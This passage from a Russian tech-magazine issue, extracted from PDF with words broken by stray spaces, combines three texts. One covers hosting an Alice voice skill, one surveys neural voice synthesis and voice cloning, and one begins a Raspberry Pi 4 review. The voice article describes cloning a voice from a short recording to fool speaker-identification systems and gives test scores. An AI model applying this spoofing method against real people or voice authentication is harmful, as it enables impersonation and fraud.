навык на тес товом стен де, мы уви дим сле дующее.

random

Тес тирова ние навыка с кар тинка ми

Под робнее про фор мирова ние JSON и про то, как добавить нес коль ко изоб‐ 
ражений, мож но про читать  .в справ ке

РАЗМЕЩЕНИЕ В СЕТИ
Те перь,  ког да  мы  уже  научи лись  делать  раз ных  ботов,  мож но  задумать ся
об их раз мещении в интерне те, что бы наш навык работал круг лосуточ но и не
был слу чай но вык лючен, ког да ты решишь отдохнуть от шума сис темни ка.

Пос коль ку наш навык по сво ей сути — это сер вер на Flask, для его запус ка
подой дет  прак тичес ки  любой  хос тинг,  нап ример  Heroku  или  его  ана логи.
Но для запус ка пер вых навыков име ет смысл вос поль зовать ся каким‐то бес‐ 
плат ным ресур сом. В качес тве при мера мож но рас смот реть  .Pythonanywhere

Это  не  столь ко  хос тинг,  хотя  так  им  поль зовать ся  тоже,  конеч но, мож но,
сколь ко  раз верну тая  в  интерне те  и  дос тупная  из  любого  мес та  сре да  раз‐ 
работ ки на Python. Об исполь зовании это го сер виса для раз работ ки мож но
почитать  , а мы пос мотрим, как задеп лоить нашего бота.на «Хаб ре»

Для  начала  необ ходимо  зарегис три ровать ся,  пос ле  это го  при  вхо де  ты
уви дишь  всю  информа цию  о  сво их  про ектах,  хра нящих ся  или  запущен ных
на сер висе.

Dashboard

Как  видишь,  на  Dashboard  есть  отдель ная  вклад ка  Web  apps.  Откро ем  ее
и соз дадим новое при ложе ние. Для него будет выделе но отдель ное домен‐ 
ное имя  . В про цес се соз дания у тебя будет воз‐ 
можность  выб рать  фрей мворк  —  выбирай  Flask  и  вер сию  Python  (я
советую  3.6,  но  если  ты  писал  на  более  новом  или  более  ста ром,  выбирай
свою).

ЛОГИН.pythonanywhere.com

Сре ди тво их фай лов появит ся пап ка  , а в ней — файл 
. Копиру ем сюда код навыка и можем запус кать. Не забудь толь ко заменить

в нас трой ках бота адрес сай та для обра бот ки зап росов — и все готово! :)

mysite flask_app.
py

Кста ти,  если  тебе  пон равилось  соз давать  навыки  и  ты  хочешь  углу бить
свои  зна ния  —  или  если  ты  опыт ный  раз работ чик  и  хочешь  рас ска зать
о  чем‐то  свя зан ном  с  ботами,  заг лядывай  на  « »,  который  прой дет
в Мос кве 19 октября 2019 года.

Бот кэмп

WWW

•Офи циаль ная докумен тация «Али сы»
•Биб лиоте ка на Python для одновре мен ного соз‐ 
дания навыков в «Али се» и ботов в Telegram

•Ре пози торий со все ми при мера ми из статьи

https://yandex.ru/dev/dialogs/alice/doc/resource-upload-docpage/
https://www.pythonanywhere.com/
https://habr.com/ru/post/144420/
https://www.notion.so/19-ea60b544e9fe4c38bc17b465f6217929
https://yandex.ru/dev/dialogs/alice/doc/about-docpage/
http://github.com/avidale/tgalice
https://github.com/Snusmumrick/AliceEasy
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ТРЮКИ

Спо собов иден тифици ровать челове ка по голосу появ ляет ся
все  боль ше.  И  парал лель но  иссле дова тели  при думы вают,
как обой ти эти механиз мы — и для защиты собс твен ной пер‐ 
сональ ной  информа ции,  и  для  взло ма  защищен ных  таким
обра зом  сис тем.  Я  решил  разоб рать ся  в  самых  пос ледних
дос тижени ях  уче ных  в  этой  сфе ре,  что бы  рас ска зать
обо всем тебе.

ГЕНЕРАЦИЯ ГОЛОСА
Го лос  челове ка —  резуль тат  дви жения  свя зок,  язы ка,  губ.  В  рас поряже нии
компь юте ра  толь ко  чис ла,  изоб ража ющие  записан ную  мик рофоном  вол ну.
Как же компь ютер соз дает звук,  который мы можем услы шать из динами ков
или науш ников?

Текст в речь
Один  из  самых  популяр ных  и  иссле дован ных  методов  генера ции  зву ков —
пря мое пре обра зова ние тек ста, который нуж но вос про извести, в звук. Самые
ран ние  прог раммы  такого  рода  скле ива ли  отдель ные  бук вы  в  сло ва,  а  сло‐ 
ва — в пред ложения.

С раз вити ем прог рамм‐син тезато ров набор заранее записан ных на мик‐ 
рофон фонем (букв) стал набором сло гов, а затем и целых слов.

Пре иму щес тва  таких  прог рамм  оче вид ны:  они  прос ты  в  написа нии,
исполь зовании,  под дер жке,  могут  вос про изво дить  все  сло ва,  какие  толь ко
есть в язы ке, пред ска зуемы — все это в свое вре мя ста ло при чиной их ком‐ 
мерчес кого исполь зования. Но качес тво голоса, соз данно го таким методом,
оставля ет  желать  луч шего.  Все  мы  пом ним  отли читель ные  чер ты  такого
генера тора  —  бес чувс твен ная  речь,  неп равиль ное  уда рение,  отор ванные
друг от дру га сло ва и бук вы.

Зву ки в речь
Этот  спо соб  генера ции  речи  отно ситель но  быс тро  заменил  собой  пер вый,
пос коль ку  луч ше  ими тиро вал  челове чес кую  речь:  мы  про изно сим  не  бук вы,
а  зву ки. Имен но  поэто му  сис темы,  осно ван ные  на 

 — IPA, более качес твен ны и при ятны на слух.
меж дународ ном фонети‐ 

чес ком алфа вите
В осно ву это го метода лег ли заранее записан ные в сту дии отдель ные зву‐ 

ки, которые скле ивают ся в сло ва. По срав нению с пер вым под ходом замет но
качес твен ное улуч шение: вмес то прос того скле ива ния ауди одо рожек исполь‐ 
зуют ся  методы  сме шива ния  зву ков  как  на  осно ве  матема тичес ких  законов,
так и на осно ве ней рон ных сетей.

Речь в речь
От носитель но новый под ход пол ностью осно ван на ней рон ных сетях. Рекур‐ 
сивная  архи тек тура  ,  пос тро енная  иссле дова теля ми  из  DeepMind,
поз воля ет пре обра зовы вать звук или текст в дру гой звук нап рямую, без прив‐ 
лечения заранее записан ных стро итель ных бло ков ( ).

WaveNet

на учная статья
Ключ  к  этой  тех нологии —  пра виль ное  исполь зование  рекур сивных  ней‐ 

ронов  , которые сох раня ют свое сос тояние не толь ко
на  уров не  каж дой  отдель ной  клет ки  ней рон ной  сети,  но  и  на  уров не  все го
слоя.

Long Short‐Term Memory

Схе ма работы WaveNet

В  целом  эта  архи тек тура  работа ет  с  любым  видом  зву ковой  вол ны,  вне
зависи мос ти от того, музыка это или голос челове ка.

INFO

На осно ве WaveNet есть нес коль ко про ектов.
 —  унич тожение

шумов в записи голоса;
•A WaveNet  for speech denoising

 ( ) — генера ция
зву ка из мел‐спек трог раммы;

•Tacotron 2 статья в бло ге Google

  —  улуч шение
качес тва голоса в записи.

•WaveNet  Voice  Enhancement

Для  вос созда ния  речи  такие  сис темы  исполь зуют  генера торы  зву ковой
нотации из тек ста и генера торы инто наций (уда рения, паузы), что бы соз дать
натураль но зву чащий голос.

Это самая передо вая тех нология соз дания речи: она не прос то скле ивает
или  сме шива ет  непонят ные  машине  зву ки,  но  самос тоятель но  соз дает
перехо ды  меж ду  ними,  дела ет  паузы  меж ду  сло вами,  меня ет  высоту,  силу
и  тембр  голоса  в  уго ду  пра виль ному  про изно шению  —  или  любой  дру гой
цели.

СОЗДАНИЕ ПОДДЕЛЬНОГО ГОЛОСА
Для самой прос той иден тифика ции, про которую я рас ска зывал в сво ей 

, подой дет прак тичес ки любой метод — осо бен но удач ливым
хакерам  может  хва тить  даже  необ работан ных  пяти  секунд  записан ного
голоса.  Но  для  обхо да  более  серь езной  сис темы,  пос тро енной,  нап ример,
на ней росетях, нам понадо бит ся нас тоящий, качес твен ный генера тор голоса.

пре‐ 
дыду щей статье

Прин цип работы ими тато ра голоса
Для  соз дания  прав доподоб ной  модели  «голос  в  голос»,  осно ван ной
на  WaveNet,  пот ребу ется  мно жес тво  уси лий:  нуж но  записать  боль шое
количес тво тек ста, ска зан ного дву мя раз ными людь ми, при чем так, что бы все
зву ки сов падали секун да в секун ду, — а сде лать это слож новато. Одна ко есть
и дру гой метод.

Ос новыва ясь  все  на  тех  же  прин ципах,  что  и  тех нология  син теза  зву ка,
мож но  дос тичь  не  менее  реалис тичной  переда чи  всех  парамет ров  голоса.
Так, была соз дана   на осно ве неболь шой
записи речи. Имен но ее мы с тобой и исполь зуем.

прог рамма, которая кло ниру ет голос

Са ма прог рамма сос тоит из нес коль ких важ ных час тей, которые работа ют
пос ледова тель но, поэто му раз берем ся поэтап но.

Ко диро вание голоса
Го лос каж дого челове ка обла дает рядом харак терис тик — их не всег да мож‐ 
но рас познать на слух,  но они важ ны. Что бы  точ но отде лять одно го  говоря‐ 
щего  от  дру гого,  будет  пра виль ным  соз дать  спе циаль ную  ней рон ную  сеть,
фор миру ющую свои наборы приз наков для раз ных людей.

Этот  кодиров щик  поз воля ет  в  даль нейшем  не  толь ко  перено сить  голос,
но и срав нивать резуль таты с жела емы ми.

Так выг лядят 256 харак терис тик голоса

Соз дание спек трог раммы
На  осно ве  этих  харак терис тик  мож но  из  тек ста  соз дать  мел‐спек трог рамму
зву ка.  Этим  занима ется  син тезатор,  в  осно ве  которо го  лежит  Tacotron  2,
исполь зующий WaveNet.

При мер сге нери рован ной спек трог раммы

Сге нери рован ная  спек трог рамма содер жит  всю информа цию о  паузах,  зву‐ 
ках и про изно шении, и в ней уже заложе ны все заранее вычис ленные харак‐ 
терис тики голоса.

Син тез зву ка
Те перь дру гая ней рон ная сеть — осно ван ная на   — будет пос тепен‐ 
но  соз давать  из  мел‐спек трог раммы  зву ковую  вол ну.  Эта  зву ковая  вол на
и ста нет вос про изво дить ся как готовый звук.

WaveRNN

Все  харак терис тики  основно го  голоса  сох раня ются  в  син тезиро ван ном
зву ке,  который,  пусть  и  не  без  труд ностей,  вос созда ет  исходный  голос
челове ка на любом тек сте.

Тес тирова ние метода
Те перь, зная, как соз дать прав доподоб ную ими тацию голоса, давай поп робу‐ 
ем  при менить  это  на  прак тике.  В    я  рас ска зывал  про  два
очень  прос тых,  но  рабочих  метода  иден тифика ции  челове ка  по  голосу:
с  исполь зовани ем  ана лиза мел‐кепс траль ных  коэф фици ентов  и  с  помощью
ней рон ных сетей, спе циаль но обу чен ных опре делять одно го челове ка. Давай
узна ем,  нас коль ко  хорошо  мы  можем  обма нуть  эти  сис темы  под дель ными
запися ми.

прош лой  статье

Возь мем  пятисе кун дную  запись  голоса  муж чины  и  соз дадим  две  записи
с помощью нашего инс тру мен та. Ори гинал и записи, которые у меня получи‐ 
лись, мож но  .ска чать или пос лушать

Срав ним эти записи с помощью мел‐кепс траль ных коэф фици ентов.

Вид коэф фици ентов на гра фике

Раз ница в коэф фици ентах так же вид на и в чис лах:

Синтез_1 ‐ оригинал: 0.38612951111628727
Синтез_2 ‐ оригинал: 0.3594987201660116

Как же отре аги рует на такую хорошую под делку ней рон ная сеть?

Синтез_1 ‐ оригинал: 89.3%
Синтез_2 ‐ оригинал: 86.9%

Убе дить  ней росеть ока залось  воз можно,  но не  в  совер шенс тве. Серь езные
сис темы  безопас ности,  которые  уста нов лены,  нап ример,  в  бан ках,  ско рее
все го,  смо гут  детек тировать  под делку,  но  человек,  тем  более  по  телефо ну,
вряд ли суме ет отли чить нас тояще го собесед ника от его компь ютер ной ими‐ 
тации.

ВЫВОДЫ
Под делать голос сей час уже не так слож но, как было рань ше, а это откры вает
боль шие воз можнос ти не толь ко для хакеров, но и для соз дателей кон тента:
инди‐раз работ чики игр смо гут сде лать качес твен ную и дешевую озвучку, ани‐ 
мато ры — озву чить сво их пер сонажей, а режис серы филь мов — снять дос‐ 
товер ную докумен талку.

И пусть тех нологии качес твен ного син теза речи еще толь ко раз вива ются,
но их потен циал уже сей час зах ватыва ет дух. В ско ром вре мени все голосо‐ 
вые помощ ники обре тут свой лич ный  голос — не метал личес кий,  холод ный,
а напол ненный эмо циями и чувс тва ми; чат с тех поддер жкой перес танет раз‐ 
дра жать, а ты смо жешь зас тавить свой телефон отве чать на неп рият ные звон‐ 
ки вмес то тебя.

mailto:kireevmp@yandex.ru
https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D0%B4%D1%83%D0%BD%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B9_%D1%84%D0%BE%D0%BD%D0%B5%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BB%D1%84%D0%B0%D0%B2%D0%B8%D1%82
https://deepmind.com/blog/article/wavenet-generative-model-raw-audio
https://arxiv.org/pdf/1609.03499.pdf
https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BB%D0%B3%D0%B0%D1%8F_%D0%BA%D1%80%D0%B0%D1%82%D0%BA%D0%BE%D1%81%D1%80%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C
https://github.com/drethage/speech-denoising-wavenet
https://github.com/Rayhane-mamah/Tacotron-2
https://ai.googleblog.com/2017/12/tacotron-2-generating-human-like-speech.html
https://github.com/auspicious3000/WaveNet-Enhancement
https://xakep.ru/2019/09/03/voice-recognition/
https://github.com/corentinj/real-time-voice-cloning
https://github.com/fatchord/WaveRNN
https://xakep.ru/2019/09/03/voice-recognition/
https://xakep.ru/wp-content/uploads/2019/10/synth.zip
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ТРЮКИ

Как и у людей, у компь юте ров есть своя судь ба — и скла дыва ется она зачас‐ 
тую  по‐раз ному.  Одни  ведут  раз мерен ную  жизнь  и  тихо  ухо дят  на  покой
в  пред назна чен ный  срок.  Дру гим  уго това но  впи сать  свое  имя  в  исто рию,
стать  приз нанной  леген дой и  даже породить  целую суб куль туру. Выход  чет‐ 
вертой  ревизии  популяр ного  одноплат ника  Raspberry  Pi  не  оставля ет  скеп‐ 
тикам  ни  еди ного  шан са:  англий ский  мик рокомпь ютер  с  нами  всерь ез
и надол го.

По лучив  в  народе  лас ковое  проз вище  «малин ка»,  RPi  стал  сво его  рода  ZX
Spectrum  для  сов ремен ной  эпо хи.  Парал лели  мож но  про водить  дол го:  оба
компь юте ра появи лись на свет в Англии (да не где‐нибудь, а в Кем брид же!),
оба пред назна чались в пер вую оче редь для обра зова ния, но при этом лег ко
«перерос ли»  отве ден ные  рам ки.  Будучи  не  самыми  про изво дитель ными
для  сво его  вре мени,  они  прив лекали  поль зовате лей  демок ратич ной  ценой,
прос тотой и, конеч но же, под дер жкой со сто роны сооб щес тва.

Хоть  осно ватель  Raspberry  Pi  Foundation    и  не  получил  пока
от  англий ской  короле вы  титул  рыцаря,  как  это  было  с  Клай вом  Син кле ром
поч ти сорок лет назад, мож но не сом невать ся, что общес твен ное приз нание
его  зас луг  еще  впе реди.  Впол не  воз можно,  через  пару  десяти летий  кто‐то
из  нового  поколе ния  хакеров  и  прог раммис тов  с  теп лотой  вспом нит  свой
пер вый мик рокомпь ютер Raspberry, который помог опре делить ся с выбором
жиз ненно го пути. Да, Линус Тор валь дс учил ся прог рамми рова нию на Sinclair
QL, если ты не знал!

Эбен  Аптон

INFO

Про  сэра  Клай ва Син кле ра  и  раз работ ку  пер вых
мик рокомпь юте ров  в  Sinclair  Research  снят
художес твен но‐исто ричес кий 
с Мар тином Фри меном в одной из глав ных ролей.
Успе ха дру гой его работы — сери ала «Шер лок» —
эта  кар тина  не  получи ла,  но  если  судь ба  пионе‐ 
ров  ИТ  тебя  хоть  сколь ко‐то  инте ресу ет,  фильм
однознач но сто ит смот реть.

фильм  Micro  Men

Ду маю, теперь ты понима ешь, почему я прос то не мог прой ти мимо 
 и при обрел этот одноплат ник, как толь ко он появил ся у нас в сво бод ной

про даже  и  мак сималь ной  ком плек тации.  Офи циаль ных    в  Рос сию,
нас коль ко мне  извес тно,  пока  не  было,  но  перекуп щики   под суети‐ 
лись  и  завез ли  нем ного  «малинок»  для  самых  нетер пеливых  энту зиас тов.
Самое вре мя узнать, что при гото вило нам нынеш нее обновле ние!

Raspberry
Pi 4

поставок
вовремя

ОБЗОР ПЛАТЫ
Лю бопыт ные  детали  мож но  обна ружить  уже  в  ком плек тации.  Пла та  не  упа‐ 
кова на в антиста тичес кий пакет — и это стран но. Эбен Аптон упо минал, что
его  коман да  ста рает ся  мак сималь но  уде шевить  про изводс тво  Raspberry  Pi,
но это какая‐то уж слиш ком радикаль ная опти миза ция зат рат. Подоб ную эко‐ 
номию ожи даешь  уви деть  в  при мене нии  к  ,  но  никак
не к флаг ман ской модели за $55.

Raspberry Pi  Zero  за $5

Од нако  все  это  мелочи  жиз ни,  о  которых  сра зу  забыва ешь,  едва  озна‐ 
комив шись с бумаж ной инс трук цией. Ты навер няка уже в кур се, что чет вертая
вер сия  одноплат ника  пос тавля ется  с  раз ными  объ ема ми  опе ратив ной
памяти  на  выбор.  Летом  Raspberry  Pi  Foundation  анон сирова ла  появ ление
сра зу  трех  вари антов,  с  мик росхе мами  LPDDR4  емкостью  в  один,  два
или четыре гигабай та. Но в инс трук ции содер жится упо мина ние о еще одной
вер сии, которая, видимо, не дош ла до релиза — на целых восемь гигабайт!
Ого!

Про нее в новос тях не было ни сло ва, и нам оста ется толь ко гадать, по какой
при чине раз работ чики решили отка зать ся от подоб ной модели. Впол не воз‐ 
можно, что ито говая сто имость «малин ки» с такой мик росхе мой памяти ока‐ 
залась слиш ком высокой и не укла дыва лась в филосо фию дешево го компь‐ 
юте ра, которой ста рают ся при дер живать ся в Кем брид же. Кро ме того, не сто‐ 
ит  забывать,  что  выпуск  нового  поколе ния  сра зу  в  нес коль ких  вари антах —
это сме лый экспе римент и  в  самой орга низа ции ник то пока не  зна ет,  какая
модель в ито ге ока жет ся наибо лее популяр ной сре ди поль зовате лей.

В  такой  ситу ации отло жить  выпуск  вер сии на  восемь  гигабайт  и оце нить
спрос на ее бли жай ший ана лог с четырь мя — впол не логич ный шаг. Так что
веро ятность выхода еще более про изво дитель ного Raspberry Pi сох раня ется,
тем более что раз работ чикам пред сто ит как‐то испра вить аппа рат ную проб‐ 
лему сов мести мос ти с некото рыми бло ками питания (об этом чуть ниже).

Даль нейший  осмотр  самого  мик рокомпь юте ра  нас толь ко  неожи дан ных
сюр при зов не при нес. Как и было заяв лено, форм‐фак тор остался преж ним,
а  вот  рас положе ние  и  набор  разъ емов  нем ного  изме нились,  из‐за  чего
одноплат ник  потерял  обратную  сов мести мость  с  некото рыми  преж ними
аксессу ара ми.  В  исто рии  Raspberry  Pi  такое  про изош ло,  кста ти,  впер вые,
если  не  счи тать  ори гиналь ные  модели  с  пол нораз мерны ми  кар точка ми  SD.
Сто ило ли оно того?

Пер вое,  что бро сает ся в  гла за, — разъ ем RJ45 для  гигабит ного Ethernet
поменя ли  мес тами  с  парой  пор тов  USB,  перемес тив  его  бли же  к  выводам
PoE.  Безус ловно,  такое  изме нение  нап рашива лось  само  собой  и  толь ко
облегчи ло  раз водку  пла ты.  К  сло ву,  теперь  сеть  и  перифе рия  USB  висят
на отдель ных интерфей сах. До это го их объ еди нял общий хаб, что соз давало
проб лемы при одновре мен ном исполь зовании.

Кро ме  того,  у  нас  наконец‐то  появи лись  два  пор та  стан дарта  USB  3.0,
без него в 2019 году было бы сов сем грус тно. Это озна чает, что теперь есть
воз можность  под клю чать  внеш ние  SSD  и  про чую  сов ремен ную  ско рос тную
перифе рию вро де веб‐камер с раз решени ем 4К. Мож но даже соб рать собс‐ 
твен ный бюд жетный NAS, бла го связ ка из USB 3.0 и гигабит ного Ethernet рас‐ 
полага ет к опре делен ного рода безумс твам — нап ример, RAID на SSD. Кста‐ 
ти,  ответс твен ная  за  USB  мик росхе ма  VIA  VL805  обща ется  с  про цес сором
по PCI Express, и энту зиас ты прак тичес ки тут же наш ли   работать с еще
более  быс тры ми  дис ками NVMe,  прос то  отпа яв  кон цен тра тор USB  с  пла ты.
Клас сный аппа рат ный хак!

спо соб

С  боковой  сто роны  убра ли  пол нораз мерный  разъ ем  HDMI,  заменив  его
пароч кой Micro‐HDMI  2.0.  Увы,  они  сто ят  близ ко  друг  к  дру гу,  и  из‐за  это го
под клю чать переход ники с тол сты ми кон некто рами на хвос тах будет неудоб‐ 
но. Зато теперь появи лась воз можность выводить кар тинку сра зу на два дис‐ 
плея. Про изво дитель в анон сах нес кром но пишет о том, что под держи вает ся
«до двух дис пле ев и до 4К@60», но на самом деле при ходит ся выбирать: либо
два дис плея на 30 кад рах, либо один, но с плав ным изоб ражени ем.

По  срав нению  с  кро хот ными  разъ ема ми  виде оин терфей сов  олд скуль‐ 
ный  3,5‐мил лимет ровый  ауди оджек  кажет ся  огромным.  Уди витель но,
но инже неры не толь ко решили сох ранить его, но еще и не ста ли выкиды вать
воз можность  выводить  на  него  ана лого вый  виде осиг нал!  Так  что  все  жела‐ 
ющие могут поп робовать вдох нуть жизнь в ста рые телеви зоры и эму лиро вать
рет роиг ры на аутен тичном экра не.

А  вот  с  разъ емом Mini‐USB  раз работ чики  рас про щались,  теперь  на  его
мес те ты най дешь USB Type‐C. По уве рени ям соз дателей, это поз воля ет про‐ 
кор мить  новый  «камень»,  аппе титы  которо го  вырос ли  до  3  ампер  под  наг‐ 
рузкой  —  в  сум ме  вну шитель ные  15  Ватт  пот ребле ния.  Нас коль ко  вер ны
столь  сме лые  заяв ления, мы обя затель но  выяс ним  чуть  поз же,  а  пока  лишь
замечу, что реали зация стан дарта USB Power Delivery на новой пла те сло мала
сов мести мость с нынеш ними бло ками питания у некото рой час ти поль зовате‐ 
лей  (вклю чая меня). Если для  тебя эта проб лема кри тич на, сто ит подож дать
сле дующей  ревизии  пла ты,  в  которой  раз работ чики  обе щали  испра вить
недочет.

Слот  для  microSD  оста вили  на  сво ем  закон ном  мес те.  Если  ты  рас счи‐ 
тывал на встро енный флеш‐накопи тель в новом поколе нии (как на RPi Com‐
pute Module,  нап ример),  увы и  ах — надеж дам не суж дено было сбыть ся. Я
тоже нем ного разоча рован, если чес тно. На Raspberry Pi 2 этот разъ ем был
не самой удач ной конс трук ции — и на моей пла те раз болтал ся спус тя некото‐ 
рое вре мя,  так что успешная заг рузка сис темы с кар ты памяти про исхо дила
через раз.

Шты ревые кон такты GPIO так же не пре тер пели изме нений. С одной сто‐ 
роны,  это  поз волило  сох ранить  сов мести мость  с  сущес тву ющи ми  пла тами
рас ширения, что при ятно. С дру гой сто роны — как и рань ше, очень не хва тает
выведен ного сиг нала RESET для при нуди тель ной перезаг рузки сис темы (нап‐ 
ример,  авто мати чес ки  с  помощью  мик росхе мы‐супер визора).  Кро ме  того,
было бы  здо рово иметь  хотя бы пароч ку  допол нитель ных интерфей сов USB
на  этом  разъ еме  —  что бы  было  удоб но  поль зовать ся  той  перифе рией,
которую не пред полага ется перепод клю чать слиш ком час то (такие интерфей‐ 
сы  поч ти  всег да  мож но  обна ружить  в  ниж ней  час ти  обыч ных 
матери нок).

десктопных

САМЫЙ SOC: BCM2711
Од нако  самые  инте рес ные  изме нения  про изош ли,  конеч но  же,  с  цен траль‐ 
ным про цес сором. Теперь это    с  четырь мя  ядра ми 
на  архи тек туре  ARMv8,  что  выводит  про изво дитель ность  сис темы  на  качес‐ 
твен но иной уро вень. Пре дыду щие модели осно выва лись на ядрах от Cortex‐
A7  (Raspberry Pi 2) до Cortex‐A53 (Raspberry Pi 3+),  то есть с этим обновле‐ 
нием раз работ чики перемах нули сра зу через нес коль ко сту пенек.

SoC BCM2711 Cortex‐A72

В  пер вую  оче редь  это му  спо собс тво вал  переход  на  тех про цесс  28  нм.
Мик росхе мы  на  всех  пре дыду щих  вер сиях  одноплат ника  изго тав ливались
по  тех нологии  40  нм,  и  с  выходом  BCM2873  на  RPi  3+  инже неры  упер лись
в  огра ниче ния  по  пло щади  крис талла.  Более  про изво дитель ные  ядра  тре‐ 
бова ли  боль ше  тран зисто ров,  которые  прос то  нег де  было  раз местить.
Как видишь, пока  Intel и AMD безус пешно штур муют порог в 10 нм при раз‐ 
работ ке про цес соров на х86, дру гие — более скром ные — ком пании впол не
ком фор тно себя чувс тву ют на уже про верен ных и дав но обка тан ных  тех про‐ 
цес сах.

На текущий момент докумен тации к мик росхе ме BCM2711 нет в откры том
дос тупе,  но  ты  можешь  час тично  удов летво рить  свое  любопытс тво,  озна‐ 
комив шись с   на Cortex‐A72.ма нуалом

Что каса ется перифе рии, то новая сис тема на крис талле получи ла в свое рас‐ 
поряже ние  уско ритель  трех мерной  гра фики  Videocore  VI  (500  МГц,  2160p).
Информа ции по GPU сей час тоже нем ного, и оста ется толь ко наде ять ся, что
по  про шес твии  какого‐то  вре мени  в  Broadcom  под держат  сооб щес тво
и  выложат  соот ветс тву ющий  референс,  как  это  про изош ло  с  Videocore  IV
во вто рую годов щину про екта Raspberry Pi. Все‐таки Эбен Аптон неод нократ‐ 
но заяв лял, что их конеч ная цель — сде лать со вре менем одноплат ник мак‐ 
сималь но откры тым.

ИНТЕРЕСНОСТИ
Прой дусь  по  самым  важ ным  пун ктам  из  того,  на  что  я  обра тил  вни мание
при работе с RPi 4.

Проб лема USB PD
Чуть  выше  я  уже  замечал,  что  новый мик рокомпь ютер  при веред лив  в  пла не
питания и сог ласит ся работать далеко не от каж дой заряд ки. Так, мой рас чет
исполь зовать  вмес те  с  «малиной»  блок  питания  с  USB‐C  от  MacBook  Pro
не оправдал ся: они прос то не смог ли догово рить ся. А ведь я ждал подоб ного
момен та с 2017 года — ина че зачем вооб ще было затевать весь этот болез‐ 
ненный переход на уни фици рован ный разъ ем?!

По пыта емся  понять,  в  чем же  здесь  проб лема. Некото рые  поль зовате ли
  выс казыва ли  пред положе ние,  что  ноут бучные  бло ки  питания

Apple не под держи вают заряд ку с нап ряжени ем 5 В. Но это не так: нак лей ка
на  одной  из  боковых  повер хнос тей  заряд ки  под твержда ет,  что  устрой ство
реали зует стан дарт USB Power Delivery с уров нями 5/12/20 вольт. В этом лег‐ 
ко  убе дить ся,  прос то  под клю чив  к  бло ку  питания  обыч ный  смар тфон  через
под ходящий кабель.

на  форумах

На самом деле при чина кро ется в схе ме Raspberry Pi и час тично в спо собе
элек трон ной  иден тифика ции  (eMark)  кабелей  некото рых  про изво дите лей
(Apple, Dell и дру гих). Пред лагаю убе дить ся в этом вмес те. Для это го при дет‐ 
ся най ти докумен тацию  ( )  на  сай те и  вни матель ней приг лядеть ся  к  рас‐ 
пинов ке разъ ема USB‐C.

PDF

Здесь резис тор   соеди няет с   не один, а оба кон такта   и  . Кро‐ 
ме  того,    ухо дит  к  кон трол леру  питания  пла ты,  хотя  тоже  дол жен  быть
соеди нен с зем лей. Пра виль ная схе ма при веде на на рисун ке ниже.

R79 GND СС1 CC2
R1

Де таль нее ты можешь про читать о проб леме   Тай лера Вар да.на стра нич ке

Скры тый JTAG
Лю бопыт ные сюр при зы на этом не закан чива ются. Повер тев «малин ку» пару
минут в руках, ты навер няка обна ружишь, что на обратной сто роне под разъ‐ 
ема ми USB раз веден еще один загадоч ный интерфейс без какого‐либо при‐ 
паян ного  кон некто ра.  Он  мар кирован  как  J5  на  пла те,  но  само  по  себе
это мало что объ ясня ет.

Поп робу ем уга дать его про исхожде ние, исхо дя из количес тва кон тактов. Оче‐ 
вид но,  что  это  не  обыч ный  UART  или  USB —  про вод ников  тут  целых  семь.
По всей видимос ти, пред полага ется, что рядово му поль зовате лю этот разъ ем
никог да не при годит ся. Хм‐м, чем же таким осо бен ным может быть занят раз‐ 
работ чик?

А что если это интерфейс для отладки? Ну  конеч но! Нес коль ко зап росов
в  поис ковике  про лили  свет  на  наз начение  таинс твен ного  разъ ема  J5:
это  JTAG  гра фичес кого  уско рите ля  Videocore.  Ока зыва ется,  кое‐кто
в  интерне те  уже  задавал ся  этим  воп росом,  под робнос ти  ты  можешь  про‐ 
читать   Энди Кир би.в замет ке

Заг рузка с EEPROM
Еще одна при меча тель ная осо бен ность нового Raspberry Pi — это  заг рузка
с рас паян ной на пла те мик росхе мы    емкостью в 4 Мби та. Если
пом нишь,  рань ше  одноплат нику  для  стар та  нужен  был  ‘bootcode.bin’  в  заг‐ 
рузоч ном раз деле  кар ты памяти. В новом дис три бути ве Raspbian  этот файл
остался на сво ем мес те, но лишь для под дер жки пре дыду щих вер сий компь‐ 
юте ра.

SPI EEPROM

Са ми  раз работ чики  ука зыва ют  нес коль ко  при чин  для  такого  решения.
Во‐пер вых,  воз росла  слож ность  интерфей сов,  на  которых  под клю чает ся
память и перифе рия — теперь это LPDDR4 и PCI Express, а они тре буют зна‐ 
читель но  боль ше  кода  для  ини циали зации. Преж де  была  воз можность  ком‐ 
пак тно  раз местить  все  в  области  ROM  на  самом  SoC,  но  теперь  для  них
не наш лось дос таточ но мес та.

Во‐вто рых, у коман ды боль шие пла ны по добав лению новых фун кций: так,
в  ско ром  вре мени  они  обе щают  реали зовать  заг рузку  с  USB  и  по  Ethernet.
Печаль но, что такая воз можность нам не дос тупна с момен та начала про даж
устрой ства,  но,  по  край ней  мере,  понят но,  чего  имен но  сто ит  ждать
в обновле ниях про шив ки.

На конец, не сто ит забывать, что такой спо соб поз воля ет про ще устра нять
ошиб ки  (или  добав лять  новые!).  Кста ти,  c  подоб ными  целями  ты  можешь
поковы рять заг рузчик и его бета‐вер сию самос тоятель но:

$ sudo apt install rpi‐eeprom

ТЕСТЫ
Се год ня  одноплат ники  мас сово  про изво дят ся  в  самых  раз ных  форм‐фак‐ 
торах, и  толь ко  круп ных ком паний на этом рын ке лег ко нас читать с десяток.
Конеч но,  Raspberry  Pi  Foundation  выгод но  выделя ется  на  их  фоне  сво ей
извес тностью,  но  здо ровая  кон курен ция  поз воля ет  покупа телям  под бирать
опти маль ное  решение  для  сво их  задач.  А  что  помога ет  при нять  решение
в пер вую оче редь? Конеч но же тес ты!

WARNING

Во вре мя зна комс тва с Raspberry Pi 4 выяс нилась
инте рес ная осо бен ность модуля Wi‐Fi: если выс‐ 
тавить  реги он  RU  в  нас трой ках  мик рокомпь юте‐ 
ра,  то  попыт ка  под клю чения  к  точ ке  дос тупа
с диапа зоном час тот 5 ГГц (802.11ac) завер шится
с  ошиб кой.  Зву чит  неверо ятно,  но  я  стол кнул ся
имен но  с  такой  проб лемой,  и  толь ко 

 помог ло про яснить при чину.
чте ние

форумов

Лич но  меня  в  новом  мик рокомпь юте ре  боль ше  все го  инте ресу ет  память
